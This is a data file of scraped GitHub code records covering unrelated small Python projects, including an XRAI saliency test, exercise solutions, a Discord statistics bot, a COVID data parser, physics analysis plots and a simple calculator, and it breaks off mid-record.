testBaseAttribution(self):\n base_attribution = np.random.rand(IMAGE_SIZE, IMAGE_SIZE, 3)\n\n # Calculate XRAI attribution using GetMask(...) method.\n heatmap = self.xrai.GetMask(x_value=self.input_image,\n call_model_function=self.call_model_function,\n base_attribution=base_attribution)\n # Make sure that the GetMask() method doesn't return the same attribution\n # that was passed to it.\n self.assertFalse(np.array_equal(base_attribution.max(axis=2), heatmap))\n # The sum of XRAI attribution should be equal to the sum of the underlying\n # base attribution. Internally the attribution that is used by XRAI is\n # the max over color channels.\n self.assertAlmostEqual(base_attribution.max(axis=2).sum(), heatmap.sum())\n\n # Verify that the XRAI object didn't called Integrated Gradients.\n calls = self.mock_ig_instance.method_calls\n self.assertEqual(0, len(calls),\n 'XRAI should not call Integrated Gradients.')\n\n def testBaseAttributionMismatchedShape(self):\n # Create base_attribution that shape doesn't match the input.\n base_attribution = np.random.rand(IMAGE_SIZE, IMAGE_SIZE + 1, 3)\n\n # Verify that the exception was raised.\n with self.assertRaisesRegex(ValueError,\n 'The base attribution shape should'):\n # Calling GetMask(...) should result in exception.\n self.xrai.GetMask(x_value=self.input_image,\n call_model_function=self.call_model_function,\n base_attribution=base_attribution)\n\n def _assert_xrai_correctness(self, xrai_out, is_flatten_segments):\n \"\"\"Performs general XRAIOutput verification that is applicable for all XRAI results.\"\"\"\n xrai_attribution_mask = xrai_out.attribution_mask\n xrai_segments = xrai_out.segments\n\n # Check completeness with respect to IG attribution.\n self.assertAlmostEqual(self.ig_mask.max(axis=2).sum(),\n xrai_attribution_mask.sum(),\n msg='The sum of IG attribution (max along the color '\n 'axis) should be equal to the sum of XRAI '\n 'attribution.')\n\n # Check that the returned IG values are the same as returned by IG.\n self.assertTrue(\n np.array_equal(self.ig_bl_1_attr, xrai_out.ig_attribution[0]),\n msg='IG values returned by IG and returned to the client do not match.')\n self.assertTrue(\n np.array_equal(self.ig_bl_2_attr, xrai_out.ig_attribution[1]),\n msg='IG values returned by IG and returned to the client do not match.')\n\n # If the result is flattened, verify that the first segment is assigned\n # value 1. Convert the flattened integer segments to individual boolean\n # segments.\n segment_masks = []\n if is_flatten_segments:\n first_segment_id = xrai_segments.min()\n last_segment_id = xrai_segments.max()\n self.assertEqual(1, first_segment_id, msg='The first segment should'\n ' be assigned value \"1\".')\n for segment_id in range(first_segment_id, last_segment_id + 1):\n segment_masks.append(xrai_segments == segment_id)\n else:\n segment_masks = xrai_segments\n\n # Verify that 1) the segments are ordered according to their attribution;\n # 2) that every segment preserves the completeness properties;\n # 3) all pixels within a single segment have the same attribution.\n prev_seg_attr = np.inf\n for i, segment_mask in enumerate(segment_masks):\n segment_id = i + 1\n segment_attr = xrai_attribution_mask[segment_mask]\n self.assertGreater(segment_mask.sum(), 0,\n msg='Segment {} of {} has zero area.'.format(\n segment_id, len(segment_masks)))\n self.assertEqual(segment_attr.min(), segment_attr.max(),\n 'All attribution values within a single segment should '\n 'be equal.')\n segment_attr = segment_attr.max()\n self.assertAlmostEqual(self.ig_mask.max(axis=2)[segment_mask].sum(),\n xrai_attribution_mask[segment_mask].sum(),\n msg='The sum of the XRAI attribution within a '\n 'segment should be equal to the sum of IG '\n 'attribution within the same segment.')\n # The last segment may have attribution higher than the previous one\n # because it includes all pixels that weren't included by the previous\n # segments.\n if i < len(segment_masks) - 1:\n self.assertLessEqual(segment_attr, prev_seg_attr,\n 'Pixel attributions of a segment with higher id '\n 'should be lower than pixel attributions of a '\n 'segment with a lower id. Segment {}'.format(\n segment_id))\n prev_seg_attr = segment_attr\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"PAIR-code/saliency","sub_path":"saliency/core/xrai_test.py","file_name":"xrai_test.py","file_ext":"py","file_size_in_byte":14605,"program_lang":"python","lang":"en","doc_type":"code","stars":911,"dataset":"github-code","pt":"37"} +{"seq_id":"17082261579","text":"\nln = int(input())\nnums = []\nfor i in range(ln):\n nums.append(int(input()))\ndef calculat(nums):\n if (len(nums)==1):\n return \"false\"\n else:\n for ind,elmnt in enumerate(nums):\n indx = ind+1\n if((indx)==len(nums)):\n return \"false\"\n for indd,elmnt in enumerate(nums):\n if((indx)==len(nums)):\n print(\"array finished\")\n print(indx)\n break\n if((nums[ind]==nums[indx])):\n print(\"true got\")\n return \"true\"\n indx = indx+1\n return \"false\"\n\n\nprint(calculat(nums))","repo_name":"cinmoy98/leetcode-problem-solving","sub_path":"Problems/Array/ds1.py","file_name":"ds1.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11572625183","text":"t, m, c, menor = 0\nbarato = \" \"\n\nprint(\"-\" * 30)\nprint(\"LEITOR DE PREÇOS\")\nprint(\"-\" * 30)\n\nwhile True:\n n = str(input(\"Nome do produto: \"))\n p = float(input(\"Preço: \"))\n t += p\n if p > 1000:\n m += 1\n c += 1\n if c == 1 or p < menor:\n menor = p\n barato = n\n e = str(input(\"Quer continuar? [S/N] \")).upper()\n if e == \"N\":\n break\n\nprint(\"-\"*5, end=\" \")\nprint(\"FIM DO PROGRAMA\", end=\" \")\nprint(\"-\"*5)\nprint(f\"O total da compra foi R${t:.2f}\")\nprint(f\"Temos {m} produtos custando mais de R$1000.00\")\nprint(f'O produto mais barato foi {barato} que custa R${p:.2f}')\n","repo_name":"herozandn/Python","sub_path":"Conteudo_python/Cursoemvideo/exercícios/ex070.py","file_name":"ex070.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23506328589","text":"import sys\ninput = sys.stdin.readline\n\nN, L = map(int, input().split())\n\nalp = list(map(str, input().split()))\nalp = sorted(alp)\naeiou = ['a', 'e', 'i', 'o', 'u']\n\npassword = []\n\ndef dfs(temp, i):\n if len(temp) == N:\n cnt = 0\n for x in temp:\n if x in aeiou:\n cnt += 1\n if 1 <= cnt <= N - 2:\n print(''.join(temp))\n return\n \n if i == L:\n return\n\n temp.append(alp[i])\n dfs(temp, i+1)\n temp.pop()\n dfs(temp, i+1)\n\ndfs([], 0)","repo_name":"nkrang/Algorithm-Study","sub_path":"202110/B-1759/암호_만들기.py","file_name":"암호_만들기.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12253811285","text":"from pyspark.sql import SparkSession\nfrom pyspark.sql.functions import *\n\nif __name__ == \"__main__\":\n spark = SparkSession.builder \\\n .master(\"local\") \\\n .appName(\"sparkSQL\") \\\n .getOrCreate()\n\n lines = spark.read.text(\"data/book.txt\")\n\n words = lines.select(explode(split(\n lines.value, r'\\W+')).alias(\"word\")).filter('word != \"\"')\n\n lowerCaseWords = words.select(lower(words.word).alias(\"word\"))\n\n wordCounts = lowerCaseWords.groupBy(\"word\").count().sort(\"count\",\n ascending=False)\n wordCounts.show()\n\n spark.stop()","repo_name":"gf234/spark_practice","sub_path":"sparkSQL/wordCountDataframe.py","file_name":"wordCountDataframe.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9855081618","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n@Author: SmallPineapple\n@Contact: jie534838094@163.com\n@Software: PyCharm\n@File: solution2.py\n@Time: 2021/6/8 12:42\n@Desc: 如果先找到某个节点p/q,那证明p/q就是这棵树的最近公共祖先,直接返回,然后每一层返回时\n 判断左子树的最近公共祖先和右子树的公共祖先,如果都不是空,说明p和q分布在左子树和右子树,返回root\n 如果左子树的最近公共祖先为空,证明p和q都在右子树上,返回right\n 如果右子树的最近公共祖先为空,证明p和q都在左子树上,返回left\n\"\"\"\n\n\n# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution(object):\n def lowestCommonAncestor(self, root, p, q):\n \"\"\"\n :type root: TreeNode\n :type p: TreeNode\n :type q: TreeNode\n :rtype: TreeNode\n \"\"\"\n if root is None:\n return None\n if root == p or root == q:\n return root\n left = self.lowestCommonAncestor(root.left, p, q)\n right = self.lowestCommonAncestor(root.right, p, q)\n if left is not None and right is not None:\n return root\n elif left is not None:\n return left\n else:\n return right","repo_name":"SmallPineApp1e/LeetCode-Algorithm-Python","sub_path":"Tencent/排序与搜索/二叉树的最近公共祖先/solution2.py","file_name":"solution2.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20415653261","text":"from flask_wtf import FlaskForm\nfrom wtforms import Form, SelectField\n\n\nclass SearchForm(FlaskForm):\n choices = [('Data Science', 'Data Science'),\n ('Mobile Apps', 'Mobile Apps'),\n ('Desktop Apps', 'Desktop Apps'),\n ('Web Apps', 'Web Apps')]\n select = SelectField('Filter languages:', choices=choices)\n","repo_name":"qetennyson/LangGuide","sub_path":"app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6594656537","text":"import discord\nfrom discord.ext import commands\nfrom colorama import Fore, Style, init\nimport sys\nfrom config import token, prefix,activityname,dscserver,name,logo,api_key,url,allowed_users\nimport requests\n\n\ninit(autoreset=True)\n\nascii_art = r\"\"\"\n __ __ _ _ _ _ _____ _ \n | \\/ | | | | | (_) | | __ \\ | | \n | \\ / |_ _| |_| |__ _ ___ __ _| | | | | __ _ ___| |__ \n | |\\/| | | | | __| '_ \\| |/ __/ _` | | | | |/ _` / __| '_ \\ \n | | | | |_| | |_| | | | | (_| (_| | | |__| | (_| \\__ \\ | | |\n |_| |_|\\__, |\\__|_| |_|_|\\___\\__,_|_|_____/ \\__,_|___/_| |_|\n __/ | \n |___/ \n\"\"\"\n\nrainbow_colors = [Fore.RED, Fore.YELLOW, Fore.GREEN, Fore.CYAN, Fore.BLUE, Fore.MAGENTA]\n\nif sys.platform != \"linux\":\n print(\"This bot only runs on Linux.\")\n sys.exit(1) \n\nbot = commands.Bot(command_prefix=commands.when_mentioned_or(prefix), activity=discord.Game(name=activityname), intents=discord.Intents.all())\nadmin = discord.SlashCommandGroup(\"admin\", \"Admin commands\")\nbot.remove_command('help')\n\n@bot.event\nasync def on_ready():\n art_lines = ascii_art.splitlines()\n for i, line in enumerate(art_lines):\n color = rainbow_colors[i % len(rainbow_colors)]\n bold_line = Style.BRIGHT + line \n print(color + bold_line)\n\n print(Style.RESET_ALL) \n print('Logged in as: ' + str(bot.user))\n print('Discord ID: ' + str(bot.user.id))\n\n@bot.slash_command(description=\"Show the ping of the bot\", guild_ids=[dscserver])\nasync def ping(ctx):\n latency = ctx.bot.latency\n latency = latency * 1000\n latency = round(latency)\n await ctx.respond(\":ping_pong: Pong! My ping is: \" + \"**{}ms**!\".format(latency))\n\n@bot.slash_command(description=\"Get status from client\", guild_ids=[dscserver])\nasync def status(ctx):\n response = requests.get(url+\"/api/admin/statistics?api_key=\"+api_key)\n if response.status_code == 200:\n data = response.json()\n client_users = data['statistics']['users']\n client_tickets = data['statistics']['tickets']\n embed = discord.Embed(title=\"Status about the host\", color=discord.Color.green())\n embed.set_thumbnail(url=logo)\n embed.add_field(name=\"Total users\", value=client_users, inline=False)\n embed.add_field(name=\"Total tickets\", value=client_tickets, inline=False)\n elif response.status_code == 403:\n embed.add_field(name=\"Error\", value=\"We can't find this user in the database\", inline=False)\n elif response.status_code == 500:\n embed.add_field(name=\"Error\", value=\"Failed to get connection info from API.\", inline=False)\n else:\n embed = discord.Embed(title=\"Connection Info\", color=discord.Color.red())\n embed.set_thumbnail(url=logo)\n embed.add_field(name=\"Error\", value=\"Failed to get connection info from API.\", inline=False)\n embed.set_footer(text=f\"© Copyright 2021-2023 MythicalSystems\")\n await ctx.respond(embed=embed)\n\n@bot.slash_command(description=\"Get information about a user\", guild_ids=[dscserver])\nasync def userinfo(ctx, email_address: str):\n #if str(ctx.author.id) not in allowed_users:\n # await ctx.respond(\"Sorry, you are not allowed to use this command.\")\n # return\n\n response = requests.get(url + \"/api/admin/user/info?api_key=\" + api_key + \"&email=\" + email_address)\n embed = discord.Embed(title=\"User Info\", color=discord.Color.red())\n\n if response.status_code == 200:\n data = response.json()\n client_username = data['info']['username']\n client_avatar = data['info']['avatar']\n client_email = data['info']['email']\n client_role = data['info']['role']\n client_registred = data['info']['registred_at']\n client_banned = data['info']['banned']\n\n embed = discord.Embed(\n title=client_username + \" | User Info\",\n description=f\"Here is everything we know about {client_username}\",\n color=discord.Color.green())\n embed.set_author(name=client_username, icon_url=client_avatar)\n embed.set_thumbnail(url=client_avatar)\n embed.add_field(name=\"Username\", value=f\"```{client_username}```\", inline=False)\n embed.add_field(name=\"Email\", value=f\"```{client_email}```\", inline=False)\n embed.add_field(name=\"Role\", value=f\"```{client_role}```\", inline=False)\n embed.add_field(name=\"Registred\", value=f\"```{client_registred}```\", inline=False)\n \n if client_banned:\n embed.add_field(name=\"This user is banned for:\", value=f\"```{client_banned}```\", inline=False)\n \n elif response.status_code == 403:\n embed.add_field(name=\"Error\", value=\"We can't find this user in the database\", inline=False)\n elif response.status_code == 500:\n embed.add_field(name=\"Error\", value=\"Failed to get connection info from API.\", inline=False)\n else:\n embed.add_field(name=\"Error\", value=f\"An error occurred. Status Code: {response.status_code}\", inline=False)\n \n embed.set_thumbnail(url=logo)\n embed.set_footer(text=\"© Copyright 2021-2023 MythicalSystems\")\n await ctx.respond(embed=embed)\n\n@bot.slash_command(description=\"Get information about a user\", guild_ids=[dscserver])\nasync def resources(ctx, email_address: str):\n #if str(ctx.author.id) not in allowed_users:\n # await ctx.respond(\"Sorry, you are not allowed to use this command.\")\n # return\n\n response = requests.get(url + \"/api/admin/user/info?api_key=\" + api_key + \"&email=\" + email_address)\n embed = discord.Embed(title=\"User Info\", color=discord.Color.red())\n\n if response.status_code == 200:\n data = response.json()\n client_username = data['info']['username']\n client_avatar = data['info']['avatar']\n client_banned = data['info']['banned']\n client_coins = data['resources']['coins']\n client_ram = data['resources']['ram']\n client_disk = data['resources']['disk']\n client_cpu = data['resources']['cpu']\n client_server_limit = data['resources']['server_limit']\n client_ports = data['resources']['ports']\n client_databases = data['resources']['databases']\n client_backups = data['resources']['backups']\n \n embed = discord.Embed(\n title=client_username + \" | User Info\",\n description=f\"Here is everything we know about {client_username}\",\n color=discord.Color.green())\n embed.set_author(name=client_username, icon_url=client_avatar)\n embed.set_thumbnail(url=client_avatar)\n embed.add_field(name=\"Username\", value=f\"```{client_username}```\", inline=False)\n embed.add_field(name=\"Coins\", value=f\"```{client_coins}```\", inline=True)\n embed.add_field(name=\"Ram\", value=f\"```{client_ram}```\", inline=True)\n embed.add_field(name=\"Disk\", value=f\"```{client_disk}```\", inline=True)\n embed.add_field(name=\"Cpu\", value=f\"```{client_cpu}```\", inline=True)\n embed.add_field(name=\"Server Limit\", value=f\"```{client_server_limit}```\", inline=True)\n embed.add_field(name=\"Allocations\", value=f\"```{client_ports}```\", inline=True)\n embed.add_field(name=\"Databases\", value=f\"```{client_databases}```\", inline=True)\n embed.add_field(name=\"Backups\", value=f\"```{client_backups}```\", inline=True)\n if client_banned:\n embed.add_field(name=\"This user is banned for:\", value=f\"```{client_banned}```\", inline=False)\n \n elif response.status_code == 403:\n embed.add_field(name=\"Error\", value=\"We can't find this user in the database\", inline=False)\n elif response.status_code == 500:\n embed.add_field(name=\"Error\", value=\"Failed to get connection info from API.\", inline=False)\n else:\n embed.add_field(name=\"Error\", value=f\"An error occurred. Status Code: {response.status_code}\", inline=False)\n \n embed.set_thumbnail(url=logo)\n embed.set_footer(text=\"© Copyright 2021-2023 MythicalSystems\")\n await ctx.respond(embed=embed)\n\nbot.add_application_command(admin)\nbot.run(token)\n","repo_name":"AtoroTech/AtoroDash","sub_path":"bot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"42875305055","text":"from collections import defaultdict\nimport json\nimport sys\nimport requests\nimport numpy as np\n\ndata = requests.get(\"https://pomber.github.io/covid19/timeseries.json\").json()\n\ndef parse_countries() -> list:\n countries = list(data.keys())\n\n default_countries = [\"Germany\", \"US\", \"Spain\", \"Norway\", \"Italy\"]\n all_countries = list()\n\n new_countries = sys.argv[1:]\n new_countries = list(filter(lambda x: x in countries, new_countries))\n\n all_countries.extend(default_countries)\n all_countries.extend(new_countries)\n return all_countries\n\ndef compute_countries_confirmed_cases() -> dict:\n\n # Get all data for each country\n all_countries = parse_countries()\n confirmed = defaultdict(list)\n confirmed_deaths = defaultdict(list)\n world_cases = list()\n world_deaths = list()\n world_recovered = list()\n \n for c in all_countries:\n local_data_cases = [d.get(\"confirmed\") for d in data[c]]\n local_data_deaths = [d.get(\"deaths\") for d in data[c]]\n # Clean when there are dates with no update and a \"sudden\" jump\n new_local_data_cases = list()\n new_local_data_deaths = list()\n \n for idx, d in enumerate(local_data_cases):\n if idx > 1 and idx < len(local_data_cases)-1 and d - local_data_cases[idx-1] == 0:\n new_local_data_cases.append((local_data_cases[idx-1] + local_data_cases[idx+1]) / 2)\n else:\n new_local_data_cases.append(d)\n\n for idx, d in enumerate(local_data_deaths):\n if idx > 1 and idx < len(local_data_deaths)-1 and d - local_data_deaths[idx-1] == 0:\n new_local_data_deaths.append((local_data_deaths[idx-1] + local_data_deaths[idx+1]) / 2)\n else:\n new_local_data_deaths.append(d)\n\n confirmed[c] = new_local_data_cases\n confirmed_deaths[c] = new_local_data_deaths\n\n for _, v in data.items():\n cases = [d.get(\"confirmed\") for d in v]\n world_cases.append(cases)\n deaths = [d.get(\"deaths\") for d in v]\n world_deaths.append(deaths)\n recovered = [d.get(\"recovered\") for d in v]\n world_recovered.append(recovered)\n \n world_deaths = np.sum(np.array(world_deaths),0)\n world_cases = np.sum(np.array(world_cases),0) \n world_recovered = np.sum(np.array(world_recovered),0) \n world_data = {\"deaths\":world_deaths, \"cases\":world_cases, \"recovered\":world_recovered}\n \n return confirmed, confirmed_deaths, world_data","repo_name":"dariocazzani/COVID-19-trends","sub_path":"utils/country_data.py","file_name":"country_data.py","file_ext":"py","file_size_in_byte":2492,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"25271850990","text":"import pandas as pd\nimport itertools\nfrom causalsetfunctions import find_entropy, linear\nimport numpy as np\nimport matplotlib.pyplot as plt \nfrom scipy.optimize import curve_fit\n\nd_array = [2,3,4]\nmoleculetype = 'lambda'\nfor d in d_array: \n if moleculetype == 'lambda':\n df = pd.read_csv(f'H_Rindler{d}d_lambda.csv', names=['rho', 'H', 'b'], header=None)\n df['rho'] = df['rho'].round(1) \n elif moleculetype == 'v':\n df = pd.read_csv(f'H_Rindler{d}d_v.csv', names=['rho', 'H', 'subgraphs', 'connected','b'], header=None)\n df['rho'] = df['rho'].round(1) \n #print(df)\n rho_array = df['rho'].unique()\n rho_array.sort()\n y_entropyList = list() \n x = list()\n \n totalLinksList = list() \n AoverlList = list()\n totalLinksErrorList = list()\n for rho in rho_array:\n \n print('\\n sprinkling density',rho, f'in {d} dimensions')\n iterationsNo = df[df['rho'] == rho].shape[0]\n print(f'number of iterations: {iterationsNo}')\n if moleculetype == 'lambda':\n totalHarray = [sum(x) for x in itertools.zip_longest(*[[int(x) if x != '' else 0 for x in a.replace('[', '').replace(']', '').split(', ')] for a in df[df['rho'] == rho]['H'].values], fillvalue=0)]\n dataArray = np.array([x for x in itertools.zip_longest(*[[int(x) if x != '' else 0 for x in a.replace('[', '').replace(']', '').split(', ')] for a in df[df['rho'] == rho]['H'].values], fillvalue=0)])\n elif moleculetype == 'v':\n totalHarray = np.sum([df[df['rho'] == rho]['H'].values])\n dataArray = [df[df['rho'] == rho]['H'].values]\n print('total Harray \\n', totalHarray)\n print('p_i:', totalHarray/ np.sum(totalHarray))\n if moleculetype == 'lambda':\n totalLinks = 0 \n for i, value in enumerate(totalHarray):\n totalLinks += (i+1)*value\n \n print(f'Total Links: {totalLinks}')\n \n elif moleculetype == 'v': \n totalLinks = totalHarray\n \n empiricalavalue = rho**((2-d)/d)*(totalLinks/iterationsNo)\n \n totalLinksList.append(totalLinks/iterationsNo)\n AoverlList.append((1/ rho**((2-d)/d)))\n\n dataArrayLinks = dataArray\n try:\n for row in range(len(dataArray)): \n dataArrayLinks[row,:] = dataArray[row,:]*(row+1)\n except:\n pass\n LinksArray = np.sum(dataArrayLinks, axis = 0)\n percaErr = np.std(LinksArray)/ (totalLinks/iterationsNo)\n #due to flucutations in std<H1>\n aerror = percaErr*empiricalavalue/ np.sqrt(iterationsNo)\n print(f'Empirical a value {empiricalavalue} +- {aerror} ')\n \n totalLinksErrorList.append(np.std(LinksArray)/(totalLinks/iterationsNo)) \n \n if moleculetype == 'lambda':\n #theoryauncorrected\n if d == 4:\n theoryacorrected =0.173205 \n elif d== 3: \n theoryacorrected = 0.2188 \n elif d== 2: \n theoryacorrected = 1/3\n print(f'theoretical a value for rho {d}d is {theoryacorrected} ')\n \n if moleculetype == 'lambda':\n #lambda molecules\n #entropy = find_entropy(totalHarray, iterationsNo)\n #links \n entropy = totalLinks/iterationsNo\n \n elif moleculetype == 'v': \n entropy = totalHarray/ iterationsNo\n \n #due to fluctiations in <N>, avr no. of molecules per realisation\n MoleculeArray = np.sum(dataArray, axis = 0) \n percEntropyError = np.std(MoleculeArray)/ ((np.sum(totalHarray)/ iterationsNo))\n entropyerror = percEntropyError * entropy/ np.sqrt(iterationsNo)\n print(f'Entropy: {entropy} +- {entropyerror}')\n \n \n y_entropyList.append(entropy) #S_boltzmann agaisnt A/rho*\n #y_entropyList.append(sum(totalHarray)/iterationsNo) #<N> against A/rho*\n x.append(1/rho**((2-d)/d))\n \n if moleculetype == 'lambda':\n # Plots the link molecules of <H_links> against A/rho**(2-d/d) \n plt.scatter(AoverlList, totalLinksList, label = 'Data')\n plt.errorbar(AoverlList, totalLinksList, yerr = totalLinksErrorList, capsize = 4, linestyle = '')\n popt, pcov = curve_fit(linear, AoverlList, totalLinksList)\n xLinspace = np.linspace(min(AoverlList), max(AoverlList), 100)\n plt.plot(xLinspace, linear(xLinspace, *popt), label = 'Linear Fit', color = 'red') \n plt.xlabel(r'$A/{\\l^{d-2}}$', fontsize = 25)\n plt.ylabel(r'$\\langle H_{links} \\rangle$', fontsize = 25 )\n print(f'\\n \\n \\n a_Boltzmann value for {d}d is {popt[0]} +- {np.sqrt(pcov[0][0])}')\n \n #plt.title(f'Link Counting for {d-1}+1 Rindler', fontsize = 25, pad = 20)\n plt.xticks(fontsize = 20)\n plt.yticks(fontsize = 20)\n plt.legend(fontsize = 15) \n plt.savefig(fr'C:\\Users\\leehi\\OneDrive\\Documents\\Imperial_tings\\Fourth_Year\\MSci Project\\Thesis\\Plots\\LinksEntropyRindler_{moleculetype}_{d}d.png', dpi = 300, bbox_inches='tight', transparent = True)\n plt.show() \n \n \n # Plots the lambda or v molecules\n plt.rc('font', family='Arial')\n #x = x[1:]\n #y_entropyList = y_entropyList[1:]\n plt.scatter(np.array(x), np.array(y_entropyList), label = 'Data') \n plt.errorbar(np.array(x), np.array(y_entropyList), yerr = entropyerror, capsize = 4, linestyle = '')\n plt.xlabel(r'$A/{\\l^{d-2}}$', fontsize = 25)\n if moleculetype == 'v':\n plt.ylabel(r'$\\langle H_V\\rangle$', fontsize = 25 )\n elif moleculetype == 'lambda': \n plt.ylabel(r'$S_{Boltz}$', fontsize = 25 )\n popt, pcov = curve_fit(linear, np.array(x), np.array(y_entropyList))\n xLinspace = np.linspace(min(np.array(x)), max(np.array(x)), 100)\n plt.plot(xLinspace, linear(xLinspace, *popt), label = 'Linear Fit', color = 'red')\n #plt.title(f's_Boltzmann in Rindler in {d}d')\n\n print(f'\\n \\n \\n a_Boltzmann value for {d}d is {popt[0]} +- {np.sqrt(pcov[0][0])}')\n #plt.title(f'Boltzmannian Entropy for {d-1}+1 Rindler', fontsize = 25, pad = 20)\n plt.xticks(fontsize = 20)\n plt.yticks(fontsize = 20)\n plt.legend(fontsize = 15) \n plt.savefig(fr'C:\\Users\\leehi\\OneDrive\\Documents\\Imperial_tings\\Fourth_Year\\MSci Project\\Thesis\\Plots\\BoltzEntropyRindler_{moleculetype}_{d}d.png', dpi = 300, bbox_inches='tight', transparent = True)\n plt.show() \n #%%\n \nfor d in d_array: \n if moleculetype == 'lambda':\n df = pd.read_csv(f'H_Rindler{d}d_lambda.csv', names=['rho', 'H', 'b'], header=None)\n df['rho'] = df['rho'].round(1) \n elif moleculetype == 'v':\n df = pd.read_csv(f'H_Rindler{d}d_v.csv', names=['rho', 'H', 'subgraphs', 'connected','b'], header=None)\n df['rho'] = df['rho'].round(1) \n \n # Analyse b \n dfb = df[df['b'] != 0] #dropped 0 (optional)\n bList= list(dfb['b'].dropna()) #dropped Nans\n colors = ['red', 'blue', 'green']\n binsCount = [13,13, 7]\n plt.hist(bList, bins = binsCount[int(d-2)], density = True, histtype = 'stepfilled', color = colors[int(d-2)], label = f'{d-1}+1 Data', alpha = 0.5)\n\nplt.ylabel('Normalised Frequency')\nplt.xlabel(r'$b_{max}$')\nplt.legend()\nplt.savefig(fr'C:\\Users\\leehi\\OneDrive\\Documents\\Imperial_tings\\Fourth_Year\\MSci Project\\Thesis\\Plots\\bepislonDistribution_Rindler_{moleculetype}.png', dpi = 300, bbox_inches='tight', transparent = True)\nplt.show()\n \n ","repo_name":"hinchilee/Causal_Sets","sub_path":"H_Rindler_calc.py","file_name":"H_Rindler_calc.py","file_ext":"py","file_size_in_byte":7470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38191751617","text":"def command_handler():\r\n global user_calc\r\n if user_calc == '/exit':\r\n print(\"Bye!\")\r\n exit()\r\n\r\n elif user_calc == '/help':\r\n print('The program calculates the sum of numbers')\r\n\r\n else:\r\n print('Unknown command')\r\n\r\n\r\ndef assignment(user):\r\n no_spaces = user_calc.replace(' ', '').split('=')\r\n if no_spaces[0].isalpha() is False:\r\n print('Invalid identifier')\r\n\r\n elif ((no_spaces[-1].isalpha() is False) and (no_spaces[-1].isdigit() is False)) or len(no_spaces) > 2:\r\n print('Invalid assignment')\r\n\r\n else:\r\n if no_spaces[-1] in the_variables:\r\n the_variables[no_spaces[0]] = the_variables[no_spaces[-1]]\r\n\r\n elif no_spaces[-1].isdigit():\r\n the_variables[no_spaces[0]] = no_spaces[-1]\r\n\r\n else:\r\n print('Unknown variable')\r\n\r\n\r\ndef expression_separator(user):\r\n no_expressions = user\r\n for remove in ['+', '-', '=', '*', '/', '(', ')']:\r\n no_expressions = no_expressions.replace(remove, ' ')\r\n\r\n return no_expressions.split()\r\n\r\n\r\ndef do_math(expression):\r\n if '//' in expression:\r\n return print(\"Invalid expression\")\r\n\r\n try:\r\n print(int(eval(expression)))\r\n except:\r\n print('Invalid Expression')\r\n\r\n\r\nthe_variables = {}\r\n\r\nwhile True:\r\n user_calc = input()\r\n variables = expression_separator(user_calc)\r\n\r\n # Takes care of all / commands\r\n if user_calc.startswith('/'):\r\n command_handler()\r\n\r\n # Handles single expressions\r\n elif len(variables) == 1:\r\n if variables[0].isalpha():\r\n print(the_variables.setdefault(user_calc, \"Unknown variable\"))\r\n\r\n elif variables[0].isdigit():\r\n do_math(user_calc)\r\n\r\n else:\r\n print('Invalid identifier')\r\n\r\n # Negates blank inputs, handles variables, and handles expressions\r\n elif len(variables) > 1:\r\n\r\n # Checks for assigning variables\r\n if '=' in user_calc:\r\n assignment(user_calc)\r\n\r\n # Actual math operations\r\n else:\r\n if all(map(lambda v: v.isdigit(), variables)):\r\n do_math(user_calc)\r\n\r\n elif all(map(lambda v: v.isalpha() or v.isdigit(), variables)):\r\n user_calc = user_calc.split()\r\n for var in range(len(user_calc)):\r\n if user_calc[var].isalpha():\r\n user_calc[var] = the_variables[user_calc[var]]\r\n\r\n user_calc = ' '.join(user_calc)\r\n do_math(user_calc)\r\n\r\n","repo_name":"Dibichi/Jetbrains-Academy-Python","sub_path":"Hard/calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25094187172","text":"def nCk(n,k):\n if k == 0 or n == k :\n return 1\n else :\n return nCk(n-1,k-1) + nCk(n-1, k)\n\nfor i in range(2,15):\n for j in range(i+1):\n print(nCk(i,j), end=' ')\n print()\n","repo_name":"woojangchang/TIL","sub_path":"Algorithm/주니온TV/코린이/20 recursion.py","file_name":"20 recursion.py","file_ext":"py","file_size_in_byte":203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31970276573","text":"## Course Project PCL1 HS21\n## Part2Step2\n# Author(s): Eric Szabó Félix, Viviane Walker\n# date: 30th December 2021\n\nimport spacy\nfrom spacy.matcher import DependencyMatcher\nfrom spacy.tokens import Doc\nimport random\n\n# run the two following lines for installig parser and lemmatizer in german!\n# pip3 install spacy\n# python3 -m spacy download de_core_news_sm\n\nnlp = spacy.load(\"de_core_news_sm\")\nmatcher = DependencyMatcher(nlp.vocab)\n\n\ndef context(corpus, target_word, construction_name, number):\n \"\"\"In this function we use the following parameters: a spacy file, a target word, dependencies and an integer to set\n the number of randomly selected sentences\"\"\"\n # Here we check whether the file entered by the user is eligible or not:\n if corpus.endswith('.spacy'):\n # If it is so, we read the file into the function\n doc = Doc(nlp.vocab).from_disk(corpus)\n # We create some if statements, to account for all different constructions. Since some head-dependency\n # structures 